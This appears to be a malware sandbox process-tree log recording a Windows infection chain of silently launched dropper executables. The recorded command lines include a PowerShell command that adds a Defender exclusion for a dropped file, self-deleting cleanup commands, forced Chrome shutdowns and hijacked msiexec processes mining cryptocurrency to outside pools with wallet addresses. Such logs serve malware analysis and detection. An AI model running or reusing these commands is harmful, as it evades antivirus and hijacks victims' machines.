C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\ewnxiuld.qgw\md6_6ydj.exe & exit7⤵
-
C:\Users\Admin\AppData\Local\Temp\ewnxiuld.qgw\md6_6ydj.exeC:\Users\Admin\AppData\Local\Temp\ewnxiuld.qgw\md6_6ydj.exe8⤵
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\ibwub3mr.ucx\askinstall31.exe & exit7⤵
-
C:\Users\Admin\AppData\Local\Temp\ibwub3mr.ucx\askinstall31.exeC:\Users\Admin\AppData\Local\Temp\ibwub3mr.ucx\askinstall31.exe8⤵
-
C:\Windows\SysWOW64\cmd.execmd.exe /c taskkill /f /im chrome.exe9⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im chrome.exe10⤵
- Kills process with taskkill
-
-
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\fega0ew3.ttl\toolspab1.exe & exit7⤵
-
C:\Users\Admin\AppData\Local\Temp\fega0ew3.ttl\toolspab1.exeC:\Users\Admin\AppData\Local\Temp\fega0ew3.ttl\toolspab1.exe8⤵
-
C:\Users\Admin\AppData\Local\Temp\fega0ew3.ttl\toolspab1.exeC:\Users\Admin\AppData\Local\Temp\fega0ew3.ttl\toolspab1.exe9⤵
-
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\a55nftoz.gvb\GcleanerWW.exe /mixone & exit7⤵
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\hyyb3yoh.era\setup_10.2_mix.exe & exit7⤵
-
C:\Users\Admin\AppData\Local\Temp\hyyb3yoh.era\setup_10.2_mix.exeC:\Users\Admin\AppData\Local\Temp\hyyb3yoh.era\setup_10.2_mix.exe8⤵
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\4urs1zhe.wxr\file.exe & exit7⤵
-
C:\Users\Admin\AppData\Local\Temp\4urs1zhe.wxr\file.exeC:\Users\Admin\AppData\Local\Temp\4urs1zhe.wxr\file.exe8⤵
-
C:\Users\Admin\AppData\Local\Temp\RarSFX1\Setup.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX1\Setup.exe"9⤵
-
C:\Users\Admin\AppData\Local\Temp\K9SFLFBXAE\multitimer.exe"C:\Users\Admin\AppData\Local\Temp\K9SFLFBXAE\multitimer.exe" 0 3060197d33d91c80.94013368 0 10110⤵
-
C:\Users\Admin\AppData\Local\Temp\K9SFLFBXAE\multitimer.exe"C:\Users\Admin\AppData\Local\Temp\K9SFLFBXAE\multitimer.exe" 1 3.1617537577.6069aa2920fa5 10111⤵
-
C:\Users\Admin\AppData\Local\Temp\K9SFLFBXAE\multitimer.exe"C:\Users\Admin\AppData\Local\Temp\K9SFLFBXAE\multitimer.exe" 2 3.1617537577.6069aa2920fa512⤵
-
C:\Users\Admin\AppData\Local\Temp\fh4ewfrvqlr\Setup3310.exe"C:\Users\Admin\AppData\Local\Temp\fh4ewfrvqlr\Setup3310.exe" /Verysilent /subid=57713⤵
-
C:\Users\Admin\AppData\Local\Temp\is-1LGKU.tmp\Setup3310.tmp"C:\Users\Admin\AppData\Local\Temp\is-1LGKU.tmp\Setup3310.tmp" /SL5="$505B8,138429,56832,C:\Users\Admin\AppData\Local\Temp\fh4ewfrvqlr\Setup3310.exe" /Verysilent /subid=57714⤵
-
C:\Users\Admin\AppData\Local\Temp\is-NMEIT.tmp\Setup.exe"C:\Users\Admin\AppData\Local\Temp\is-NMEIT.tmp\Setup.exe" /Verysilent15⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\p1h55sggo5d\cpyrix.exe"C:\Users\Admin\AppData\Local\Temp\p1h55sggo5d\cpyrix.exe" /VERYSILENT13⤵
-
C:\Users\Admin\AppData\Roaming\1.exeC:\Users\Admin\AppData\Roaming\1.exe14⤵
-
C:\Users\Admin\AppData\Local\Temp\20cf9de0-af68-401e-9e27-bb1ac9dd6d61\AdvancedRun.exe"C:\Users\Admin\AppData\Local\Temp\20cf9de0-af68-401e-9e27-bb1ac9dd6d61\AdvancedRun.exe" /EXEFilename "C:\Users\Admin\AppData\Local\Temp\20cf9de0-af68-401e-9e27-bb1ac9dd6d61\test.bat" /WindowState ""0"" /PriorityClass ""32"" /CommandLine "" /StartDirectory "" /RunAs 8 /Run15⤵
-
C:\Users\Admin\AppData\Local\Temp\20cf9de0-af68-401e-9e27-bb1ac9dd6d61\AdvancedRun.exe"C:\Users\Admin\AppData\Local\Temp\20cf9de0-af68-401e-9e27-bb1ac9dd6d61\AdvancedRun.exe" /SpecialRun 4101d8 932816⤵
-
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\1.exe" -Force15⤵
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c timeout 115⤵
-
C:\Windows\SysWOW64\timeout.exetimeout 116⤵
- Delays execution with timeout.exe
-
-
-
C:\Users\Admin\AppData\Roaming\1.exe"C:\Users\Admin\AppData\Roaming\1.exe"15⤵
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5936 -s 104015⤵
- Program crash
-
-
-
C:\Users\Admin\AppData\Roaming\2.exeC:\Users\Admin\AppData\Roaming\2.exe14⤵
-
C:\Users\Admin\AppData\Roaming\2.exe"{path}"15⤵
-
-
C:\Users\Admin\AppData\Roaming\2.exe"{path}"15⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\rjv2coao2ij\qd1ch2gfnk2.exe"C:\Users\Admin\AppData\Local\Temp\rjv2coao2ij\qd1ch2gfnk2.exe" /ustwo INSTALL13⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im "qd1ch2gfnk2.exe" /f & erase "C:\Users\Admin\AppData\Local\Temp\rjv2coao2ij\qd1ch2gfnk2.exe" & exit14⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im "qd1ch2gfnk2.exe" /f15⤵
- Kills process with taskkill
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\0i52xze2ue0\app.exe"C:\Users\Admin\AppData\Local\Temp\0i52xze2ue0\app.exe" /8-2313⤵
-
-
C:\Users\Admin\AppData\Local\Temp\y5334yxqdub\vict.exe"C:\Users\Admin\AppData\Local\Temp\y5334yxqdub\vict.exe" /VERYSILENT /id=53513⤵
-
C:\Users\Admin\AppData\Local\Temp\is-56B92.tmp\vict.tmp"C:\Users\Admin\AppData\Local\Temp\is-56B92.tmp\vict.tmp" /SL5="$10686,870426,780800,C:\Users\Admin\AppData\Local\Temp\y5334yxqdub\vict.exe" /VERYSILENT /id=53514⤵
-
C:\Users\Admin\AppData\Local\Temp\is-2C8PJ.tmp\win1host.exe"C:\Users\Admin\AppData\Local\Temp\is-2C8PJ.tmp\win1host.exe" 53515⤵
-
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\07002OJVY8\setups.exe"C:\Users\Admin\AppData\Local\Temp\07002OJVY8\setups.exe" ll10⤵
-
C:\Users\Admin\AppData\Local\Temp\is-4MKD5.tmp\setups.tmp"C:\Users\Admin\AppData\Local\Temp\is-4MKD5.tmp\setups.tmp" /SL5="$90298,454998,229376,C:\Users\Admin\AppData\Local\Temp\07002OJVY8\setups.exe" ll11⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\RarSFX1\askinstall20.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX1\askinstall20.exe"9⤵
-
C:\Windows\SysWOW64\cmd.execmd.exe /c taskkill /f /im chrome.exe10⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im chrome.exe11⤵
- Kills process with taskkill
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\RarSFX1\Full Program Features.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX1\Full Program Features.exe"9⤵
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Program Files\unins.vbs"10⤵
-
C:\Windows\SysWOW64\rundll32.exe"C:\Windows\System32\rundll32.exe" "C:\Program Files\unins0000.dll",install11⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\RarSFX1\file.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX1\file.exe"9⤵
-
C:\Users\Admin\AppData\Roaming\DFE8.tmp.exe"C:\Users\Admin\AppData\Roaming\DFE8.tmp.exe"10⤵
-
C:\Windows\SysWOW64\cmd.exe/c timeout /t 3 & del /f /q C:\Users\Admin\AppData\Roaming\DFE8.tmp.exe11⤵
-
C:\Windows\SysWOW64\timeout.exetimeout /t 312⤵
- Delays execution with timeout.exe
-
-
-
-
C:\Users\Admin\AppData\Roaming\DA2B.tmp.exe"C:\Users\Admin\AppData\Roaming\DA2B.tmp.exe"10⤵
-
C:\Windows\system32\msiexec.exe-P stratum1+ssl://0xb7633a80145Ec9ce2b8b5F80AB36C783064C2E10.work@eu-eth.hiveon.net:24443 -R --response-timeout 30 --farm-retries 9999911⤵
-
-
C:\Windows\system32\msiexec.exe-o pool.supportxmr.com:8080 -u 47wDrszce6VbnMB4zhhEA1Gr3EzwHx2eS6QzC5sFoq8iGdMjnzX8bnEjBdQHsAuW8C1SNgxyGa4DQTVnQ9jfhRod73np5P8 --cpu-max-threads-hint 50 -r 999911⤵
-
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c ping 127.0.0.1 && del "C:\Users\Admin\AppData\Local\Temp\RarSFX1\file.exe"10⤵
-
C:\Windows\SysWOW64\PING.EXEping 127.0.0.111⤵
- Runs ping.exe
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\RarSFX1\md2_2efs.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX1\md2_2efs.exe"9⤵
-
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\qf2ovg4u.mgx\app.exe /8-2222 & exit7⤵
-
C:\Users\Admin\AppData\Local\Temp\qf2ovg4u.mgx\app.exeC:\Users\Admin\AppData\Local\Temp\qf2ovg4u.mgx\app.exe /8-22228⤵
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\jstylwxb.l2y\Four.exe & exit7⤵
-
C:\Users\Admin\AppData\Local\Temp\jstylwxb.l2y\Four.exeC:\Users\Admin\AppData\Local\Temp\jstylwxb.l2y\Four.exe8⤵
-
C:\Users\Admin\AppData\Local\Temp\N2B26USJ0Y\multitimer.exe"C:\Users\Admin\AppData\Local\Temp\N2B26USJ0Y\multitimer.exe" 0 306033e7ac94ccd3.87625057 0 1049⤵
-
C:\Users\Admin\AppData\Local\Temp\N2B26USJ0Y\multitimer.exe"C:\Users\Admin\AppData\Local\Temp\N2B26USJ0Y\multitimer.exe" 1 3.1617537668.6069aa84dfa74 10410⤵
-
C:\Users\Admin\AppData\Local\Temp\N2B26USJ0Y\multitimer.exe"C:\Users\Admin\AppData\Local\Temp\N2B26USJ0Y\multitimer.exe" 2 3.1617537668.6069aa84dfa7411⤵
-
C:\Users\Admin\AppData\Local\Temp\c0o54n3h5bs\Setup3310.exe"C:\Users\Admin\AppData\Local\Temp\c0o54n3h5bs\Setup3310.exe" /Verysilent /subid=57712⤵
-
C:\Users\Admin\AppData\Local\Temp\is-I3SN3.tmp\Setup3310.tmp"C:\Users\Admin\AppData\Local\Temp\is-I3SN3.tmp\Setup3310.tmp" /SL5="$60786,138429,56832,C:\Users\Admin\AppData\Local\Temp\c0o54n3h5bs\Setup3310.exe" /Verysilent /subid=57713⤵
-
C:\Users\Admin\AppData\Local\Temp\is-T7UQN.tmp\Setup.exe"C:\Users\Admin\AppData\Local\Temp\is-T7UQN.tmp\Setup.exe" /Verysilent14⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\cztn3myokro\cpyrix.exe"C:\Users\Admin\AppData\Local\Temp\cztn3myokro\cpyrix.exe" /VERYSILENT12⤵
-
C:\Users\Admin\AppData\Roaming\1.exeC:\Users\Admin\AppData\Roaming\1.exe13⤵
-
C:\Users\Admin\AppData\Local\Temp\96bc0b2f-b905-4119-8aab-272f5338f30e\AdvancedRun.exe"C:\Users\Admin\AppData\Local\Temp\96bc0b2f-b905-4119-8aab-272f5338f30e\AdvancedRun.exe" /EXEFilename "C:\Users\Admin\AppData\Local\Temp\96bc0b2f-b905-4119-8aab-272f5338f30e\test.bat" /WindowState ""0"" /PriorityClass ""32"" /CommandLine "" /StartDirectory "" /RunAs 8 /Run14⤵
-
C:\Users\Admin\AppData\Local\Temp\96bc0b2f-b905-4119-8aab-272f5338f30e\AdvancedRun.exe"C:\Users\Admin\AppData\Local\Temp\96bc0b2f-b905-4119-8aab-272f5338f30e\AdvancedRun.exe" /SpecialRun 4101d8 996415⤵
-
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\1.exe" -Force14⤵
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c timeout 114⤵
-
C:\Windows\SysWOW64\timeout.exetimeout 115⤵
- Delays execution with timeout.exe
-
-
-
C:\Users\Admin\AppData\Roaming\1.exe"C:\Users\Admin\AppData\Roaming\1.exe"14⤵
-
-
C:\Users\Admin\AppData\Roaming\1.exe"C:\Users\Admin\AppData\Roaming\1.exe"14⤵
-
-
-
C:\Users\Admin\AppData\Roaming\2.exeC:\Users\Admin\AppData\Roaming\2.exe13⤵
-
C:\Users\Admin\AppData\Roaming\2.exe"{path}"14⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\slajuayewcr\vict.exe"C:\Users\Admin\AppData\Local\Temp\slajuayewcr\vict.exe" /VERYSILENT /id=53512⤵
-
C:\Users\Admin\AppData\Local\Temp\is-T5M9J.tmp\vict.tmp"C:\Users\Admin\AppData\Local\Temp\is-T5M9J.tmp\vict.tmp" /SL5="$60732,870426,780800,C:\Users\Admin\AppData\Local\Temp\slajuayewcr\vict.exe" /VERYSILENT /id=53513⤵
-
C:\Users\Admin\AppData\Local\Temp\is-SIM6I.tmp\win1host.exe"C:\Users\Admin\AppData\Local\Temp\is-SIM6I.tmp\win1host.exe" 53514⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\gl04321j4iu\iox55e0zz1s.exe"C:\Users\Admin\AppData\Local\Temp\gl04321j4iu\iox55e0zz1s.exe" /ustwo INSTALL12⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im "iox55e0zz1s.exe" /f & erase "C:\Users\Admin\AppData\Local\Temp\gl04321j4iu\iox55e0zz1s.exe" & exit13⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im "iox55e0zz1s.exe" /f14⤵
- Kills process with taskkill
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\wqzquhyfols\app.exe"C:\Users\Admin\AppData\Local\Temp\wqzquhyfols\app.exe" /8-2312⤵
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\YMCO7ER51C\setups.exe"C:\Users\Admin\AppData\Local\Temp\YMCO7ER51C\setups.exe" ll9⤵
-
C:\Users\Admin\AppData\Local\Temp\is-DKG55.tmp\setups.tmp"C:\Users\Admin\AppData\Local\Temp\is-DKG55.tmp\setups.tmp" /SL5="$40676,454998,229376,C:\Users\Admin\AppData\Local\Temp\YMCO7ER51C\setups.exe" ll10⤵
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\30-0e3d0-259-433ad-03cae3391a256\Caebaezhydinu.exe"C:\Users\Admin\AppData\Local\Temp\30-0e3d0-259-433ad-03cae3391a256\Caebaezhydinu.exe"6⤵
-
-
-
-
-
C:\Program Files (x86)\67e16a30-3df6-4d4c-a838-a81a8806dda3\Versium Research\lylal220.exe"C:\Program Files (x86)\67e16a30-3df6-4d4c-a838-a81a8806dda3\Versium Research\lylal220.exe"3⤵
-
C:\Users\Admin\AppData\Local\Temp\is-3U0OP.tmp\lylal220.tmp"C:\Users\Admin\AppData\Local\Temp\is-3U0OP.tmp\lylal220.tmp" /SL5="$203C2,491750,408064,C:\Program Files (x86)\67e16a30-3df6-4d4c-a838-a81a8806dda3\Versium Research\lylal220.exe"4⤵
-
C:\Users\Admin\AppData\Local\Temp\is-EBLC0.tmp\Microsoft.exe"C:\Users\Admin\AppData\Local\Temp\is-EBLC0.tmp\Microsoft.exe" /S /UID=lylal2205⤵
-
C:\Program Files\Microsoft Office\SLXDIJZUSH\irecord.exe"C:\Program Files\Microsoft Office\SLXDIJZUSH\irecord.exe" /VERYSILENT6⤵
-
C:\Users\Admin\AppData\Local\Temp\is-NBAC5.tmp\irecord.tmp"C:\Users\Admin\AppData\Local\Temp\is-NBAC5.tmp\irecord.tmp" /SL5="$20372,6265333,408064,C:\Program Files\Microsoft Office\SLXDIJZUSH\irecord.exe" /VERYSILENT7⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\71-5ce35-f7b-440af-e7f73ee57e46f\Sotewosagy.exe"C:\Users\Admin\AppData\Local\Temp\71-5ce35-f7b-440af-e7f73ee57e46f\Sotewosagy.exe"6⤵
-
-
C:\Users\Admin\AppData\Local\Temp\c3-8c29e-3bb-852bc-58ad34c8b5275\Gaexaholaedo.exe"C:\Users\Admin\AppData\Local\Temp\c3-8c29e-3bb-852bc-58ad34c8b5275\Gaexaholaedo.exe"6⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\v0jdpeip.5kh\md6_6ydj.exe & exit7⤵
-
C:\Users\Admin\AppData\Local\Temp\v0jdpeip.5kh\md6_6ydj.exeC:\Users\Admin\AppData\Local\Temp\v0jdpeip.5kh\md6_6ydj.exe8⤵
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\m32edapm.tmu\toolspab1.exe & exit7⤵
-
C:\Users\Admin\AppData\Local\Temp\m32edapm.tmu\toolspab1.exeC:\Users\Admin\AppData\Local\Temp\m32edapm.tmu\toolspab1.exe8⤵
-
C:\Users\Admin\AppData\Local\Temp\m32edapm.tmu\toolspab1.exeC:\Users\Admin\AppData\Local\Temp\m32edapm.tmu\toolspab1.exe9⤵
-
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\ldrn3u2a.q1z\askinstall31.exe & exit7⤵
-
C:\Users\Admin\AppData\Local\Temp\ldrn3u2a.q1z\askinstall31.exeC:\Users\Admin\AppData\Local\Temp\ldrn3u2a.q1z\askinstall31.exe8⤵
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\gzbj05yi.25i\GcleanerWW.exe /mixone & exit7⤵
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\yrfnlsg1.vb1\setup_10.2_mix.exe & exit7⤵
-
C:\Users\Admin\AppData\Local\Temp\yrfnlsg1.vb1\setup_10.2_mix.exeC:\Users\Admin\AppData\Local\Temp\yrfnlsg1.vb1\setup_10.2_mix.exe8⤵
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\3avrc5nf.b5h\file.exe & exit7⤵
-
C:\Users\Admin\AppData\Local\Temp\3avrc5nf.b5h\file.exeC:\Users\Admin\AppData\Local\Temp\3avrc5nf.b5h\file.exe8⤵
-
C:\Users\Admin\AppData\Local\Temp\RarSFX3\Setup.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX3\Setup.exe"9⤵
-
C:\Users\Admin\AppData\Local\Temp\M3HK2A3DXM\multitimer.exe"C:\Users\Admin\AppData\Local\Temp\M3HK2A3DXM\multitimer.exe" 0 3060197d33d91c80.94013368 0 10110⤵
-
C:\Users\Admin\AppData\Local\Temp\M3HK2A3DXM\multitimer.exe"C:\Users\Admin\AppData\Local\Temp\M3HK2A3DXM\multitimer.exe" 1 3.1617537596.6069aa3c3b626 10111⤵
-
C:\Users\Admin\AppData\Local\Temp\M3HK2A3DXM\multitimer.exe"C:\Users\Admin\AppData\Local\Temp\M3HK2A3DXM\multitimer.exe" 2 3.1617537596.6069aa3c3b62612⤵
-
C:\Users\Admin\AppData\Local\Temp\apxv5pe4eoo\Setup3310.exe"C:\Users\Admin\AppData\Local\Temp\apxv5pe4eoo\Setup3310.exe" /Verysilent /subid=57713⤵
-
C:\Users\Admin\AppData\Local\Temp\is-PTDGG.tmp\Setup3310.tmp"C:\Users\Admin\AppData\Local\Temp\is-PTDGG.tmp\Setup3310.tmp" /SL5="$30728,138429,56832,C:\Users\Admin\AppData\Local\Temp\apxv5pe4eoo\Setup3310.exe" /Verysilent /subid=57714⤵
-
C:\Users\Admin\AppData\Local\Temp\is-K50G1.tmp\Setup.exe"C:\Users\Admin\AppData\Local\Temp\is-K50G1.tmp\Setup.exe" /Verysilent15⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\12b4nb5lufj\app.exe"C:\Users\Admin\AppData\Local\Temp\12b4nb5lufj\app.exe" /8-2313⤵
-
-
C:\Users\Admin\AppData\Local\Temp\dwv1xt0etc4\xrokwo3abf0.exe"C:\Users\Admin\AppData\Local\Temp\dwv1xt0etc4\xrokwo3abf0.exe" /ustwo INSTALL13⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im "xrokwo3abf0.exe" /f & erase "C:\Users\Admin\AppData\Local\Temp\dwv1xt0etc4\xrokwo3abf0.exe" & exit14⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im "xrokwo3abf0.exe" /f15⤵
- Kills process with taskkill
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\x0mernrdufh\cpyrix.exe"C:\Users\Admin\AppData\Local\Temp\x0mernrdufh\cpyrix.exe" /VERYSILENT13⤵
-
C:\Users\Admin\AppData\Roaming\1.exeC:\Users\Admin\AppData\Roaming\1.exe14⤵
-
C:\Users\Admin\AppData\Local\Temp\e6c5ba2b-1ab9-4ed3-9675-e6d49ac04572\AdvancedRun.exe"C:\Users\Admin\AppData\Local\Temp\e6c5ba2b-1ab9-4ed3-9675-e6d49ac04572\AdvancedRun.exe" /EXEFilename "C:\Users\Admin\AppData\Local\Temp\e6c5ba2b-1ab9-4ed3-9675-e6d49ac04572\test.bat" /WindowState ""0"" /PriorityClass ""32"" /CommandLine "" /StartDirectory "" /RunAs 8 /Run15⤵
-
C:\Users\Admin\AppData\Local\Temp\e6c5ba2b-1ab9-4ed3-9675-e6d49ac04572\AdvancedRun.exe"C:\Users\Admin\AppData\Local\Temp\e6c5ba2b-1ab9-4ed3-9675-e6d49ac04572\AdvancedRun.exe" /SpecialRun 4101d8 712016⤵
-
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\1.exe" -Force15⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV116⤵
- Executes dropped EXE
-
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c timeout 115⤵
-
C:\Windows\SysWOW64\timeout.exetimeout 116⤵
- Delays execution with timeout.exe
-
-
-
C:\Users\Admin\AppData\Roaming\1.exe"C:\Users\Admin\AppData\Roaming\1.exe"15⤵
-
-
-
C:\Users\Admin\AppData\Roaming\2.exeC:\Users\Admin\AppData\Roaming\2.exe14⤵
-
C:\Users\Admin\AppData\Roaming\2.exe"{path}"15⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\wj5wcdhad2r\vict.exe"C:\Users\Admin\AppData\Local\Temp\wj5wcdhad2r\vict.exe" /VERYSILENT /id=53513⤵
-
C:\Users\Admin\AppData\Local\Temp\is-U5IJK.tmp\vict.tmp"C:\Users\Admin\AppData\Local\Temp\is-U5IJK.tmp\vict.tmp" /SL5="$60340,870426,780800,C:\Users\Admin\AppData\Local\Temp\wj5wcdhad2r\vict.exe" /VERYSILENT /id=53514⤵
-
C:\Users\Admin\AppData\Local\Temp\is-F5N4F.tmp\win1host.exe"C:\Users\Admin\AppData\Local\Temp\is-F5N4F.tmp\win1host.exe" 53515⤵
-
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Z86MEE2WFQ\setups.exe"C:\Users\Admin\AppData\Local\Temp\Z86MEE2WFQ\setups.exe" ll10⤵
-
C:\Users\Admin\AppData\Local\Temp\is-JI4B7.tmp\setups.tmp"C:\Users\Admin\AppData\Local\Temp\is-JI4B7.tmp\setups.tmp" /SL5="$80200,454998,229376,C:\Users\Admin\AppData\Local\Temp\Z86MEE2WFQ\setups.exe" ll11⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\RarSFX3\askinstall20.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX3\askinstall20.exe"9⤵
-
C:\Windows\SysWOW64\cmd.execmd.exe /c taskkill /f /im chrome.exe10⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im chrome.exe11⤵
- Kills process with taskkill
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\RarSFX3\Full Program Features.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX3\Full Program Features.exe"9⤵
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Program Files\unins.vbs"10⤵
-
C:\Windows\SysWOW64\rundll32.exe"C:\Windows\System32\rundll32.exe" "C:\Program Files\unins0000.dll",install11⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\RarSFX3\file.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX3\file.exe"9⤵
-
C:\Users\Admin\AppData\Roaming\3887.tmp.exe"C:\Users\Admin\AppData\Roaming\3887.tmp.exe"10⤵
-
C:\Windows\system32\msiexec.exe-P stratum1+ssl://0xb7633a80145Ec9ce2b8b5F80AB36C783064C2E10.work@eu-eth.hiveon.net:24443 -R --response-timeout 30 --farm-retries 9999911⤵
-
-
C:\Windows\system32\msiexec.exe-o pool.supportxmr.com:8080 -u 47wDrszce6VbnMB4zhhEA1Gr3EzwHx2eS6QzC5sFoq8iGdMjnzX8bnEjBdQHsAuW8C1SNgxyGa4DQTVnQ9jfhRod73np5P8 --cpu-max-threads-hint 50 -r 999911⤵
-
-
-
C:\Users\Admin\AppData\Roaming\3E45.tmp.exe"C:\Users\Admin\AppData\Roaming\3E45.tmp.exe"10⤵
-
C:\Windows\SysWOW64\cmd.exe/c timeout /t 3 & del /f /q C:\Users\Admin\AppData\Roaming\3E45.tmp.exe11⤵
-
C:\Windows\SysWOW64\timeout.exetimeout /t 312⤵
- Delays execution with timeout.exe
-
-
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c ping 127.0.0.1 && del "C:\Users\Admin\AppData\Local\Temp\RarSFX3\file.exe"10⤵
-
C:\Windows\SysWOW64\PING.EXEping 127.0.0.111⤵
- Runs ping.exe
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\RarSFX3\md2_2efs.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX3\md2_2efs.exe"9⤵
-
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\q4bc043x.0da\app.exe /8-2222 & exit7⤵
-
C:\Users\Admin\AppData\Local\Temp\q4bc043x.0da\app.exeC:\Users\Admin\AppData\Local\Temp\q4bc043x.0da\app.exe /8-22228⤵
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\nhf0kk0x.qlv\Four.exe & exit7⤵
-
C:\Users\Admin\AppData\Local\Temp\nhf0kk0x.qlv\Four.exeC:\Users\Admin\AppData\Local\Temp\nhf0kk0x.qlv\Four.exe8⤵
-
C:\Users\Admin\AppData\Local\Temp\28GHL7OYH0\multitimer.exe"C:\Users\Admin\AppData\Local\Temp\28GHL7OYH0\multitimer.exe" 0 306033e7ac94ccd3.87625057 0 1049⤵
-
C:\Users\Admin\AppData\Local\Temp\28GHL7OYH0\multitimer.exe"C:\Users\Admin\AppData\Local\Temp\28GHL7OYH0\multitimer.exe" 1 3.1617537688.6069aa988bacf 10410⤵
-
C:\Users\Admin\AppData\Local\Temp\28GHL7OYH0\multitimer.exe"C:\Users\Admin\AppData\Local\Temp\28GHL7OYH0\multitimer.exe" 2 3.1617537688.6069aa988bacf11⤵
-
C:\Users\Admin\AppData\Local\Temp\1en3ecre3gc\nxdy42hlzny.exe"C:\Users\Admin\AppData\Local\Temp\1en3ecre3gc\nxdy42hlzny.exe" /ustwo INSTALL12⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im "nxdy42hlzny.exe" /f & erase "C:\Users\Admin\AppData\Local\Temp\1en3ecre3gc\nxdy42hlzny.exe" & exit13⤵
-
